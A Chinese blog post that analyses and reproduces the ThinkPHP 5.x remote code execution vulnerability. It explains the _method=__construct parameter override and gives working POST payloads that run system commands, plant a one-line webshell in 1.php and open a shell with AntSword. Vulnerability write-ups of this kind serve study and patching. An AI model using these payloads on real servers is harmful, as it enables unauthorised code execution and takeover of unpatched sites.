随笔 - 71,  文章 - 0,  评论 - 11,  阅读 - 49919

漏洞详情:

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。根据漏洞利用能得出通过s参数传递具体的路由。参考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程图:

20190116110438.png

可以得到重要是参数为method和filter。value是传入的数组值,由server决定。

解析POC:

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

_method=__construct:调用构造方法__construct(),可以覆盖Request类的任意成员变量,这里修改了filter和server(value)两个值,同时覆盖了method。

filter=system:传递filter值,覆盖原有值。

server[REQUEST_METHOD]=id:在调用$this→server('REQUEST_METHOD')时指定了键值,所以通过传入server数组即可。

method=get:这里是通过check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules决定,而$rules的值取决于键值$method,当我们指定$method为get时,可以正确获取到路由信息,从而通过checkRoute()检查,此时我们通过指定method=get覆盖$this->method的值即可

大佬的分析太妙了,这样子之后,我们就可以直接修改filter以及server(value)的值了。将我们需要的值传递覆盖之后,获取正常的路由信息,就能返回我们想要的信息。

漏洞影响版本:

影响 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23

漏洞利用:

index.php?s=captcha

漏洞复现:

根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。

undefined

将post值改为:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。

undefined

undefined

第一步中可以执行system命令,尝试echo写入是否可以执行。

将post值改为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1

undefined

可以执行echo,后面尝试写入一句话木马。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php

undefined

执行之后页面无回现,尝试调用ls命令。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

undefined

写入成功,上蚁剑尝试。

undefined

拿到Shell,复现完成。

POC回看:

使用hackbar,

url:/index.php?s=captcha

post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

posted on   千丶颜  阅读(3484)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)

< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5
点击右上角即可分享
微信分享提示